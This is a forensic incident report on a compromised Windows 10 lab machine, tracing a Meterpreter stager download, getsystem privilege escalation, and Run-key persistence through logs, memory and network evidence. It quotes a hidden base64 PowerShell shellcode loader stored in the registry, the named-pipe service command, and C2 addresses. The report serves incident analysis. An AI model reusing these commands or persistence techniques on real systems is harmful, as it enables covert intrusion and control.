2020-09-19 05:08:40.484484	Event logs (EVTX)	EVTX event Windows PowerShell 600 | PowerShell | Provider is Started | HostApplication=powershell -nop -w hidden -c sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\ q9Z1bssi').GetValue('JqxNhWJA')))) | HostName=ConsoleHost | HostVersion=5.1.19041.1	evtxecmd/ evtxecmd_0.csv#40903	F:\Windows\System32\ winevt\logs\Windows PowerShell.evtx
2020-09-19 03:44:03.540241	Run keys	run: ts Microsoft\Windows\CurrentVersion\Run name=coreupdate | command={"executable":"%COMSPEC	dissect/runkeys.jsonl#5	sysvol/windows/ system32/config/ SOFTWARE

UTC	Artifact	Detail	Reference	Original source
		%","args":["/b /c start /b /min powershell -nop -w hidden -c \"sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\\q9Z1bssi').GetValue('JqxNhWJA'))))\""]}		
	raw.prefetch_timeline	{"RunTime": "2020-09-19 05:08:37.5328773", "ExecutableName": "\\VOLUME{01d68d85e0da1e22-b0e0e8ff}\\WINDOWS\\SYSTEM32\\CMD.EXE"}	pecmd/ prefetch_0_Timeline.csv#55	
	raw.prefetch_timeline	{"RunTime": "2020-09-19 05:08:37.6563942", "ExecutableName": "\\VOLUME{01d68d85e0da1e22-b0e0e8ff}\\WINDOWS\\SYSTEM32\\WINDOWSPOWERSHELL\\V1.0\\POWERSHELL.EXE"}	pecmd/ prefetch_0_Timeline.csv#308	

F-001: System description: DESKTOP-SDN1RPT (Windows 10 Enterprise Evaluation 19041), member of domain C137.local

Severity	**Informational**
Confidence	confirmed
Independent sources	artifact:network history artifact:registry (recmd kroll) artifact:registry: accounts (sam) artifact:registry: known networks artifact:registry: profilelist evtx:security.evtx evtx:system.evtx memory network
Category	context
MITRE ATT&CK	n/a
Period (UTC)	2020-09-18 05:41:33.459149 → 2020-09-19 03:52:13.567580

Observed facts

Host: ComputerName DESKTOP-SDN1RPT (SYSTEM hive ControlSet001\Control\ComputerName). Setup-time name WIN-2IH1TBB9I4Q (System 6005 at 2020-09-18 05:41:33, 1074 at 05:46:01 "Operating System: Upgrade (Planned)"). OS: Windows 10 Enterprise Evaluation, EditionID EnterpriseEval, CurrentBuild 19041 (20H1/2004); Volatility windows.info: NtMajorVersion 10, build 15.19041, x64, 2 CPUs. RegisteredOwner "Admin". InstallDate 2020-09-18 05:47:03 UTC. Time zone: Pacific Standard Time, Bias 480, ActiveTimeBias 420 (UTC-7, PDT) — all times here in UTC.
Domain: C137.local. The EVTX Computer field changes from "DESKTOP-SDN1RPT" to "DESKTOP-SDN1RPT.C137.local" after the reboot at 2020-09-18 21:42:27 (1074 by SystemSettingsAdminFlows.exe = domain join restart; 6005 at 21:42:39 Computer DESKTOP-SDN1RPT.C137.local). NetworkList profile "C137.local" (Managed=True, domain-authenticated) FirstConnect 2020-09-18 14:42:45 local (21:42:45 UTC), last connected 2020-09-18 20:13:21 local (2020-09-19 03:13:21 UTC); earlier profile "Network" first 2020-09-17 21:58:02 local. Gateway MAC 00-0C-29-95-CD-21 (VMware OUI).
Network: Intel 82574L Gigabit NIC (VMware e1000e), static IP 10.42.85.115 (EnableDHCP=0), DNS server 10.42.85.10 (also the source of a domain Administrator RDP logon, likely the domain controller). VMware Tools present (vmtoolsd.exe) — virtual machine.
Local SAM accounts: Administrator (500, disabled), Guest (501, disabled), DefaultAccount (503), WDAGUtilityAccount (504), Admin (RID 1001, created 2020-09-18 05:49:07, member of Administrators, 6 logons, last login 2020-09-19 03:15:57). Local defaultuser0 (RID 1000) deleted at 2020-09-18 21:40:37 (Security 4726, OOBE cleanup).
Profiles (ProfileList): C:\Users\Admin (S-1-5-21-41211245-796119838-3940169921-1001); domain accounts C:\Users\ricksanchez (S-1-5-21-2232410529-1445159330-2725690660-1106, last logon 2020-09-19 05:08:15), C:\Users\mortysmith (...-1108, logon 2020-09-18 22:59:58, logoff 23:10:07), C:\Users\Administrator (domain RID 500, ...-500, profile last write 2020-09-19 03:52:13).
Interactive logons (4624): Admin type 2 (2020-09-18 21:40:23 → 2020-09-19 03:15:57), C137\ricksanchez type 2 (from 2020-09-18 22:44:11), C137\mortysmith type 2 (22:46:39–22:59:58), C137\Administrator type 3 then type 10 (RDP) from

10.42.85.10 at 2020-09-19 03:36:22/03:36:24, C137\ricksanchez type 11/7 (cached/unlock) at 2020-09-19 05:08:15.
Boots (System 12): 2020-09-18 05:41:02, 05:46:19, 21:40:16, 21:42:35, 22:59:32; 2020-09-19 01:07:07, 01:24:04 (last boot before acquisition).
Additional evidence sources: memory image DESKTOP-SDN1RPT.mem (2 GiB, SHA256 AC6EE0E8C273103B94D776F54192D2C6ACF8303AABBD6A199254030C69F667C3, SystemTime 2020-09-19 05:10:39 UTC) and network capture case001.pcap (197,583,252 bytes, SHA256 09ABF49EFEA1852E047987D92907704D47F36D75F6C8056E2CAFA6CC027791CB, traffic 2020-09-18 21:58:07 → 2020-09-19 05:38:57 UTC).

Analysis

Freshly installed (2020-09-18) Windows 10 Enterprise Evaluation VMware VM, joined to the lab domain C137.local around 21:42 UTC on 2020-09-18, used by domain users ricksanchez and mortysmith and by the local administrator "Admin". The domain Administrator RDP session from 10.42.85.10 at 2020-09-19 03:36 is noted here as context and will be qualified in the lateral-movement steps. Analysis window of interest: 2020-09-18 21:40 → 2020-09-19 05:10 UTC (UTC-7 local).

Evidence (24)

UTC	Artifact	Detail	Reference	Original source
2020-09-18 05:46:38.921356	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\ComputerName\ComputerName System Info | System Info (Current) | ComputerName=DESKTOP-SDN1RPT	recmd_kroll/ recmd_kroll_F.csv#1872	F:\Windows\System32\config\SYSTEM
2020-09-19 03:15:57.313394	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | ProductName=Windows 10 Enterprise Evaluation	recmd_kroll/ recmd_kroll_F.csv#7190	F:\Windows\System32\config\SOFTWARE
2020-09-19 03:15:57.313394	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | InstallDate=2020-09-18 05:47:03.0000000	recmd_kroll/ recmd_kroll_F.csv#7191	F:\Windows\System32\config\SOFTWARE
2020-09-19 03:15:57.313394	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | CurrentBuild=19041	recmd_kroll/ recmd_kroll_F.csv#7196	F:\Windows\System32\config\SOFTWARE
2020-09-18 06:41:02.861987	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\TimeZoneInformation System Info | System Time Zone Information | TimeZoneKeyName=Pacific Standard Time | Pacific Standard Time	recmd_kroll/ recmd_kroll_F.csv#1858	F:\Windows\System32\config\SYSTEM
2020-09-18 06:41:02.861987	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\TimeZoneInformation System Info | System Time Zone Information | ActiveTimeBias=420 | 420	recmd_kroll/ recmd_kroll_F.csv#1859	F:\Windows\System32\config\SYSTEM
2020-09-18 21:40:22.975260	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Services\Tcpip\Parameters\Interfaces\{d2609205-c6f4-4151-b4e7-e2ac9452bcac} System Info | Network Configuration (IPv4) | IPAddress=10.42.85.115	recmd_kroll/ recmd_kroll_F.csv#1890	F:\Windows\System32\config\SYSTEM
2020-09-18 21:40:22.975260	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Services\Tcpip\Parameters\Interfaces\{d2609205-c6f4-4151-b4e7-e2ac9452bcac} System Info | Network Configuration (IPv4) | NameServer=10.42.85.10	recmd_kroll/ recmd_kroll_F.csv#1896	F:\Windows\System32\config\SYSTEM
2020-09-18 21:42:45.755000	Registry: known networks	Network: first connected [local time converted to UTC, ActiveTimeBias=420 min] C137.local Wired passerelle=00-0C-29-95-CD-21 DNS=<none>	recmd_kroll/ 20261025191813/ recmd_kroll_F_KnownNetworks.csv#1	
2020-09-18 21:42:45.000755	Network history	nethist: created profile_name=C137.local | description=C137.local | dns_suffix=<none> | default_gateway_mac=000c2995cd21 | first_network=C137.local	dissect/ network_history.jsonl#2	
2020-09-18 05:49:07.890379	Registry: accounts (SAM)	Account created Admin RID=1001 logons=6 groups=Administrators	recmd_kroll/ 20261025191813/ recmd_kroll_F_UserAccounts.csv#5	
2020-09-18 22:56:15.503156	Registry: ProfileList	Profile: last logoff C:\Users\ricksanchez S-1-5-21-2232410529-1445159330-2725690660-1106	recmd_kroll/ 20261025191813/ recmd_kroll_F_ProfileList.csv#4	

UTC	Artifact	Detail	Reference	Original source
2020-09-18 22:59:58.124958	Registry: ProfileList	Profile: last logon C:\Users\mortysmith S-1-5-21-2232410529-1445159330-2725690660-1108	recmd_kroll/ 20261025191813/ recmd_kroll_F_ProfileList .csv#5	
2020-09-19 03:52:13.567580	Registry: ProfileList	Profile: key written ; Profile: last logoff C:\Users\Administrator S-1-5-21-2232410529-1445159330-2725690660-500	recmd_kroll/ 20261025191813/ recmd_kroll_F_ProfileList .csv#6	
2020-09-19 03:15:57.342764	Registry: ProfileList	Profile: last logon C:\Users\Admin S-1-5-21-41211245-796119838-3940169921-1001	recmd_kroll/ 20261025191813/ recmd_kroll_F_ProfileList .csv#7	
2020-09-18 21:42:27.001485	Event logs (EVTX)	EVTX event C:\Windows\system32\SystemSettingsAdminFlows.exe (DESKTOP-SDN1RPT) System 1074 | User32 | A user initiated a system restart | Hostname: DESKTOP-SDN1RPT | Reason: Other (Unplanned) | Type: restart | Code: 0x0 | C:\Windows\ system32\SystemSettingsAdminFlows.exe (DESKTOP-SDN1RPT)	evtxecmd/ evtxecmd_0.csv#40266	F:\Windows\System32\ winevt\logs\System.evtx
2020-09-18 21:42:39.868133	Event logs (EVTX)	EVTX event System 6005 | EventLog | The Event log service was started | Computer: DESKTOP-SDN1RPT.C137.local	evtxecmd/ evtxecmd_0.csv#40276	F:\Windows\System32\ winevt\logs\System.evtx
2020-09-18 05:41:33.459149	Event logs (EVTX)	EVTX event System 6005 | EventLog | The Event log service was started | Computer: WIN-2IH1TBB9I4Q	evtxecmd/ evtxecmd_0.csv#39910	F:\Windows\System32\ winevt\logs\System.evtx
2020-09-18 21:40:37.260392	Event logs (EVTX)	EVTX event Security 4726 | Microsoft-Windows-Security-Auditing | A user account was deleted | Target: DESKTOP-SDN1RPT\ defaultuser0 (S-1-5-21-41211245-796119838-3940169921-1000) | SubjectLogonId: 0x1A6AA	evtxecmd/ evtxecmd_0.csv#38364	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 03:36:24.432948	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\Administrator | LogonType 10 | LogonId: 0x857E73 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\ System32\svchost.exe | DESKTOP-SDN1RPT (10.42.85.10)	evtxecmd/ evtxecmd_0.csv#39576	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 01:24:04.797835	Event logs (EVTX)	EVTX event System 12 | Microsoft-Windows-Kernel-General | OS was started | StartTime: 2020-09-19 01:24:04.5000000 | BootMode: Normal boot	evtxecmd/ evtxecmd_0.csv#40528	F:\Windows\System32\ winevt\logs\System.evtx
	raw.vol_info	{"TreeDepth": "0", "Value": "2020-09-19 05:10:39+00:00", "Variable": "SystemTime"}	volatility/ windows.info.Info.jsonl#1 2	
	raw.vol_image	{"image": "C:\\Sleuthline\\cases\\test04\\memory\\ DESKTOP-SDN1RPT.mem", "name": "DESKTOP-SDN1RPT.mem", "bytes": "2147483648", "sha256": "AC6EE0E8C273103B94D776F54192D2C6ACF8303AABBD6A199254030C69F667C3"}	volatility/ memory_image.jsonl#1	
	raw.pcap_files	{"file": "C:\\Sleuthline\\cases\\test04\\pcap\\ case001.pcap", "name": "case001.pcap", "bytes": "197583252", "sha256": "09ABF49EFEA1852E047987D92907704D47F36D75F6C8056E2CAFA6CC027791CB"}	suricata/ pcap_files.jsonl#1	

F-005: Scope limitation: empty or incomplete parser outputs

Severity	Informational
Confidence	confirmed
Independent sources	artifact:registry: accounts (sam)
Category	context
MITRE ATT&CK	n/a
Period (UTC)	2020-09-18 05:49:07.890379 → 2020-09-18 05:49:07.890379

Observed facts

Job odl (OneDrive logs) status "warning": general.keystore / ObfuscationStringMap absent, ODL strings stay obfuscated. Empty (0-byte) Dissect outputs: browser.history/downloads/extensions, iexplore.history, powershell_history (PSReadLine), recyclebin, tasks, userassist, mru.*, wer, thumbcache, defender.quarantine, defender.exclusions,

firewall.logs, cim.consumerbindings, activitiescache, usb. SBECmd NTUSER outputs empty for Admin, Administrator, mortysmith, ricksanchez (ShellBags only from UsrClass). SIDR internet history report empty. Several Volatility plugins produced no output (amcache, userassist, svcdiff, hollowprocesses, processghosting, skeleton_key_check, etc.). Equivalent data exists from other parsers for some of them: RECmd TaskCache (304 rows) and vol_scheduled_tasks for tasks, RECmd UserAssist (60 rows), WxTCmd ActivitiesCache (201 rows).

Analysis

No browser history is available (empty Dissect output — either no browser use or artifacts not collected/parsed): web-based initial access must be assessed from the pcap (Suricata HTTP/TLS/DNS) and file-system artifacts. Absence of PowerShell PSReadLine history and Recycle Bin entries cannot be interpreted as absence of activity.

Evidence (1)

UTC	Artifact	Detail	Reference	Original source
2020-09-18 05:49:07.890379	Registry: accounts (SAM)	Account created Admin RID=1001 logons=6 groups=Administrators	recmd_kroll/ 20261025191813/ recmd_kroll_F_UserAccounts.csv#5	

F-002: Evidence acquisition activity (FTK Imager from USB "Incident_drive") — to be excluded from findings

Severity	**Informational**
Confidence	confirmed
Independent sources	artifact:amcache (files) artifact:prefetch artifact:registry: portable devices (wpd) artifact:registry: usb artifact:registry: usbstor artifact:registry: volumeinfocache evtx:security.evtx
Category	context
MITRE ATT&CK	n/a
Period (UTC)	2020-09-19 05:08:15.224593 → 2020-09-19 05:09:56.191578

Observed facts

At 2020-09-19 05:08:15 C137\ricksanchez logs on (4624 type 11 then type 7, unlock). At 05:08:58 a SanDisk Cruzer Glide 3.0 USB device (VID_0781&PID_5597, serial 4C530000261130109435) is first installed/connected (USBSTOR FirstInstalled/LastConnected 05:08:58.406), mounted as E: with label "Incident_drive" (VolumeInfoCache 05:08:58.625, WPD 05:08:59). At 05:09:56.19 "E:\FTK Imager\FTK Imager.exe" (AccessData FTK Imager 4.2.1.4, SHA1 32756b3a319340c4b7fead410d3f36e503b30da2) executes (Prefetch FTK IMAGER.EXE RunCount 1, volume serial A6125E71; Amcache unassociated file entry). The memory image's SystemTime is 2020-09-19 05:10:39 UTC. SNIPPINGTOOL.EXE (05:09:09) and MSINFO32.EXE (05:09:13) also executed in the same minute. No KAPE execution trace exists on the host (collection likely made offline/from the image: the KAPE raw folder is "F\").

Analysis

This is the responder's acquisition (memory capture with FTK Imager from an external incident drive). Events from 2020-09-19 05:08:15 onwards (USB device, FTK Imager, consent.exe, msinfo32/snippingtool most probably operator documentation) are considered collection activity and are excluded from attacker findings. Note: the disk artifacts extend to ~05:19 UTC and the pcap to 05:38 UTC, i.e. beyond the memory acquisition.

Evidence (9)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 05:08:58.406346	Registry: USBSTOR	USBSTOR: key written ; USBSTOR: installed ; USBSTOR: first installed (property 0064) ; USBSTOR: last connected (property 0066) Ven_SanDisk Prod_Cruzer_Glide_3.0 Rev_1.00 serial=4C530000261130109435&0 SanDisk Cruzer Glide 3.0 USB Device disk={ce43e459-fa16-11ea-95ef-000c2914c295}	recmd_kroll/ 20261025191813/ recmd_kroll_F_USBSTOR.csv#1	
2020-09-19 05:08:58.625064	Registry: VolumeInfoCache	Volume seen (VolumeInfoCache) DriveName=E: | VolumeLabel=Incident_drive | DriveType=Fixed	recmd_kroll/ 20261025191813/ recmd_kroll_F_VolumeInfoCache.csv#2	
2020-09-19 05:08:59.765675	Registry: portable devices (WPD)	Portable device: key written Incident_drive DISK&VEN_SANDISK&PROD_CRUZER_GLIDE_3.0&REV_1.00 serial=4C530000261130109435&0	recmd_kroll/ 20261025191813/ recmd_kroll_F_WindowsPortableDevices.csv#1	
2020-09-19 05:08:58.344277	Registry: USB	USB: last connected USB Mass Storage Device serial=4C530000261130109435 Cruzer Glide 3.0	recmd_kroll/ 20261025191813/ recmd_kroll_F_USB.csv#4	
2020-09-19 05:09:56.191578	Prefetch	Execution (Prefetch, last) FTK IMAGER.EXE runs=1 hash=E67CC266 False	pecmd/ prefetch_0.csv#54	F:\Windows\prefetch\FTK IMAGER.EXE-E67CC266.pf
2020-09-19 05:09:56.191578	Amcache (files)	Amcache: file key written (≈ first execution / presence) e:\ftk imager\ftk imager.exe FTK Imager.exe SHA1=32756b3a319340c4b7fead410d3f36e503b30da2 accessdata® ftk® imager 4.2.1.4 compiled=2018-04-02 18:04:48.0000000 app=Unassociated	amcacheparser/ 20261025201808_Amcache_UnassociatedFileEntries.csv#6	F:\Windows\AppCompat\Programs\Amcache.hve
2020-09-19 05:08:15.224593	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\ricksanchez | LogonType 11 | LogonId: 0xB3CE02 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\svchost.exe | DESKTOP-SDN1RPT (127.0.0.1)	evtxecmd/ evtxecmd_0.csv#39826	F:\Windows\System32\winevt\logs\Security.evtx
2020-09-19 05:09:13.183384	Prefetch	Execution (Prefetch, last) MSINFO32.EXE runs=1 hash=C3C668DA False	pecmd/ prefetch_0.csv#73	F:\Windows\prefetch\MSINFO32.EXE-C3C668DA.pf
2020-09-19 05:09:09.150531	Prefetch	Execution (Prefetch, last) SNIPPINGTOOL.EXE runs=1 hash=B23F9DB3 False	pecmd/ prefetch_0.csv#141	F:\Windows\prefetch\SNIPPINGTOOL.EXE-B23F9DB3.pf

4.2 Triage of automatic detections

Triage of Hayabusa/Chainsaw/Zircolite/Suricata detections. True positives: F-006 RDP type 10 logon of C137\Administrator (SID -500) from DC 10.42.85.10, 03:36:24-03:52:13; F-007 Defender RTP/MAPS/sample submission disabled 03:39:45-03:39:49 (5001/5007 + DisableRealtimeMonitoring=1); F-008 coreupdater.exe (SHA256 10f3b920…, SHA1 fd153c66…) downloaded via Edge from 194.61.24.102 03:39:57, moved to System32, executed 03:40:49 (Prefetch, psscan PID 8324), service 'coreupdater' 7045 03:42:42, C2 203.78.103.109:443 (Suricata Metasploit Bind_API, netscan ESTABLISHED); F-009 getsystem service 'nehgye' 03:43:14 (7045 + CMD prefetch); F-010 Run key 'coreupdate' fired 05:08:37-05:08:44, hidden PowerShell reflective shellcode loader from HKLM\Software\q9Z1bssi (4104/600, prefetch, psscan PID 508->3316, new C2 flow); F-011 network context: 194.61.24.102 RDP to DC and DC fetched coreupdater, pcap clock ≈ host UTC −1 h (validated on 3 pivots). 7 IOCs, 7 timeline events. FPs documented in note (VMware drivers, FTK ad_driver.sys, OOBE/domain-join account events, SCM WMI consumer, MSIX).

F-009: Privilege escalation: Meterpreter getsystem named-pipe impersonation service "nehgye"

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:prefetch evtx:system.evtx
Category	privilege escalation
MITRE ATT&CK	T1134.001, T1543.003, T1569.002
Period (UTC)	2020-09-18 22:53:11.065740 → 2020-09-19 03:43:15.054907

Observed facts

System EID 7045 RecordID 959 at 2020-09-19 03:43:14.991 UTC: service 'nehgye', ImagePath 'cmd.exe /c echo nehgye > \\.\pipe\nehgye', demand start, LocalSystem, user mode service; System EID 7009 RecordID 960 at 03:43:15.055 (service start timeout, expected as cmd.exe is not a service binary). Prefetch CMD.EXE-BD30981.pf PreviousRun0 = 03:43:14.9908796 (exact match). coreupdater.exe (PID 8324) exits at 03:43:10 per memory psscan. Detections: Chainsaw critical 'Meterpreter or Cobalt Strike Getsystem Service Installation', Hayabusa/Zircolite/Chainsaw high '... - System', 'Uncommon Service Installation Image Path', 'Suspicious Commands Service Installation'.

Analysis

True positive. Random 6-letter service name echoing into an identically named pipe is the signature of Metasploit 'getsystem' technique 1 (named pipe impersonation) to obtain NT AUTHORITY\SYSTEM from the Meterpreter session established by coreupdater.exe (migrated, since coreupdater exits at 03:43:10 while the C2 flow continues). Followed at 03:44:03 by the SYSTEM-level HKLM Run key 'coreupdate' persistence (lead from step 1).

Evidence (5)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:43:14.990879	Event logs (EVTX)	EVTX event cmd.exe /c echo nehgye > \\.\pipe\nehgye System 7045 | Service Control Manager | A new service was installed in the system | Name: nehgye | StartType: demand start | Account: LocalSystem | cmd.exe /c echo nehgye > \\.\pipe\nehgye	evtxecmd/ evtxecmd_0.csv#40867	F:\Windows\System32\ winevt\logs\System.evtx
2020-09-19 03:43:15.054907	Event logs (EVTX)	EVTX event System 7009 | Service Control Manager	evtxecmd/ evtxecmd_0.csv#40868	F:\Windows\System32\ winevt\logs\System.evtx
2020-09-18 22:53:11.065740	Prefetch	Execution (Prefetch, previous) CMD.EXE runs=9 hash=BD30981 False	pecmd/ prefetch_0.csv#17	F:\Windows\prefetch\ CMD.EXE-0BD30981.pf
2020-09-19 03:43:14.990879	Detection Chainsaw	critical Meterpreter or Cobalt Strike Getsystem Service Installation | {"ServiceName":"nehgye","ImagePath":"cmd.exe /c echo nehgye > \\\\.\\pipe\\nehgye","StartType":"demand start","AccountName":"LocalSystem","ServiceType":"user mode service"}	chainsaw/ chainsaw_0.jsonl#103	F:\Windows\System32\ winevt\logs\System.evtx
2020-09-19 03:43:14.990000	Detection Hayabusa	high Meterpreter or Cobalt Strike Getsystem Service Installation - System | {"Svc":"nehgye","Path":"cmd.exe /c echo nehgye > \\\\.\\pipe\\ nehgye","Acct":"LocalSystem","StartType":"demand start"} | {"ServiceType":"user mode service"}	hayabusa/ hayabusa_0.jsonl#1342	F:\Windows\System32\ winevt\logs\System.evtx

F-008: Malware coreupdater.exe downloaded from 194.61.24.102 via Edge, moved to C:\Windows\System32, executed and installed as auto-start service "coreupdater"

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:$mft artifact:$usnjrnl:$j artifact:amcache (files) artifact:prefetch artifact:registry (recmd kroll) evtx:system.evtx memory network
Category	execution / persistence
MITRE ATT&CK	T1105, T1543.003, T1036.005, T1071.001, T1204.002
Period (UTC)	2020-09-19 02:39:58.411571 → 2020-09-19 03:42:42.676537

Observed facts

$UsnJrnl: Edge cache file C:\Users\Administrator\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\ELJ4KX67\coreupdater[1].exe created 2020-09-19 03:39:57.907 UTC; C:\Users\

Administrator\Downloads\coreupdater.exe.b1jhvkh.partial (MFT 26213-4) renamed to Downloads\coreupdater.exe at 03:40:00.864 (Zone.Identifier ADS stream written); OpenSavePidlMRU 'This PC\Downloads\coreupdater.exe' 03:40:00.69; renamed to C:\Windows\System32\coreupdater.exe at 03:40:42.254 (same MFT entry 26213, size 7168). Amcache: c:\windows\system32\coreupdater.exe SHA1 fd153c66386ca93ec9993d66a84d6f0d129a3a5c, PE link date 2010-04-14 22:06:53. Prefetch COREUPDATER.EXE-157C54BB.pf: RunCount 1, LastRun 03:40:49.410. Memory psscan: coreupdater.ex PID 8324 PPID 4008 created 03:40:49, exited 03:43:10. System EID 7045 RecordID 958 at 03:42:42.677: service 'coreupdater', ImagePath C:\Windows\System32\coreupdater.exe, auto start, LocalSystem. Network capture: HTTP GET http://194.61.24.102/coreupdater.exe from 10.42.85.115 (UA Edge/18.19041), 7168 bytes, SHA256 10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6, MD5 eed41b4500e473f97c50c7385ef5e374 (pcap clock 02:39:58); the same file was fetched by the DC 10.42.85.10 earlier (pcap 02:24:06). Flow 10.42.85.115:50875 -> 203.78.103.109:443 starting pcap 02:40:49 (= prefetch run 03:40:49 with the ~1 h capture-clock offset), 1.76 MB down / 280 KB up, still ESTABLISHED in memory netscan; Suricata 'ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server)' on that flow.

Analysis

True positive. 7168-byte PE with 2010 link date, fetched from a dotted-quad IP, executed once then registered as a LocalSystem auto-start service: consistent with a Metasploit/Meterpreter stager (msfvenom exe template) beaconing to 203.78.103.109:443 (Meterpreter stage download confirmed by the Bind_API signature on the server->client stream). No detection engine flagged the 7045 for coreupdater (path in System32) — gap of the rule set. Pcap timestamps run ~1 h behind the host clock (consistent offsets: RDP 02:35:55 vs 03:35:54, download 02:39:58 vs 03:39:57, C2 flow 02:40:49 vs 03:40:49).

Evidence (14)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:39:57.907806	$UsnJrnl:$J	USN $J F:\Users\Administrator\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\ELJ4KX67\coreupdater[1].exe FileCreate [Archive|NotContentIndexed] entry=24493-3	mftecmd_usnjrnl/usnjrnl.csv#35845	F:\$Extend\$J
2020-09-19 03:40:00.863618	$UsnJrnl:$J	USN $J F:\Users\Administrator\Downloads\coreupdater.exe RenameNewName|Close [Archive] entry=26213-4	mftecmd_usnjrnl/usnjrnl.csv#35889	F:\$Extend\$J
2020-09-19 03:40:42.254194	$UsnJrnl:$J	USN $J F:\Windows\System32\coreupdater.exe RenameNewName [Archive] entry=26213-4	mftecmd_usnjrnl/usnjrnl.csv#35942	F:\$Extend\$J
2020-09-19 03:40:00.691657	$MFT	$SI creation (B) F:\Windows\System32\coreupdater.exe size=7168	mftecmd_mft/mft.csv#27972	F:\$MFT
2020-09-19 03:40:45.191906	Amcache (files)	Amcache: file key written (≈ first execution / presence) c:\windows\system32\coreupdater.exe coreupdater.exe SHA1=fd153c66386ca93ec9993d66a84d6f0d129a3a5c compiled=2010-04-14 22:06:53.0000000 app=Unassociated	amcacheparser/20261025201808_Amcache_UnassociatedFileEntries.csv#2	F:\Windows\AppCompat\Programs\Amcache.hve
2020-09-19 03:40:49.410320	Prefetch	Execution (Prefetch, last) COREUPDATER.EXE runs=1 hash=157C54BB False	pecmd/prefetch_0.csv#22	F:\Windows\prefetch\COREUPDATER.EXE-157C54BB.pf
2020-09-19 03:42:42.676537	Event logs (EVTX)	EVTX event C:\Windows\System32\coreupdater.exe System 7045 | Service Control Manager | A new service was installed in the system | Name: coreupdater | StartType: auto start | Account: LocalSystem | C:\Windows\System32\coreupdater.exe	evtxecmd/evtxecmd_0.csv#40866	F:\Windows\System32\winevt\logs\System.evtx
2020-09-19 03:40:49	Memory: process scan (psscan)	process created (memory, psscan) coreupdater.ex PID=8324 | PPID=4008 | ImageFileName=coreupdater.ex | SessionId=3	volatility/windows.psscan.PsScan.jsonl#167	C:\Sleuthline\cases\test04\memory\DESKTOP-SDN1RPT.mem
2020-09-19 02:39:58.412735	Files transferred (Suricata)	file transferred over the network /coreupdater.exe app_proto=http | http_hostname=194.61.24.102 | src_ip=194.61.24.102 | dest_ip=10.42.85.115 | fileinfo_size=7168 | fileinfo_sha256=10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6 |	suricata/case001.pcap/eve_fileinfo.jsonl#138	case001.pcap

UTC	Artifact	Detail	Reference	Original source
		fileinfo_md5=eed41b4500e473f97c50c7385ef5e374 | fileinfo_state=CLOSED		
2020-09-19 02:39:58.411571	HTTP (Suricata)	HTTP request /coreupdater.exe http_hostname=194.61.24.102 | http_http_method=GET | http_status=200 | http_http_user_agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041 | http_http_content_type=application/x-msdos-program | http_length=7168 | src_ip=10.42.85.115 | dest_ip=194.61.24.102	suricata/case001.pcap/ eve_http.jsonl#156	case001.pcap
2020-09-19 02:40:49.936293	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50875 -> 203.78.103.109:443 failed state=established bytes=280374/1764209	suricata/case001.pcap/ eve_flow.jsonl#29788	case001.pcap
2020-09-19 02:40:50.282950	Detection Suricata	high ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server) | TCP 203.78.103.109:443 -> 10.42.85.115:50875 | A Network Trojan was detected | 1:pcNgXsCjc/vxVdVvPl9FwJBoPrA= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#446	case001.pcap
	raw.vol_netscan	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50875", "Offset": "209519128050464", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/ windows.netscan.NetScan.jsonl#110	
2020-09-19 03:40:00.691657	Registry (RECmd Kroll)	Registry: key last written ROOT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU User Activity | OpenSavePidlMRU | 0=Extension: exe Absolute path: This PC\Downloads\coreupdater.exe | Opened: 2020-09-19 03:40:00.6916578 | MRU: 0 Details: Type: Root folder: GUID, Value: This PC Type: Root folder: GUID, Value: Downloads Short name: coreupdater.exe Type: File, Value: coreupdater.exe Extension blocks found: 1 ------	recmd_kroll/ recmd_kroll_F.csv#847	F:\Users\Administrator\NTUSER.DAT

F-010: Persistence fired: HKLM Run "coreupdate" launched hidden PowerShell Metasploit shellcode loader at 05:08 (new C2 session to 203.78.103.109:443)

Severity	**Critical**
Confidence	confirmed
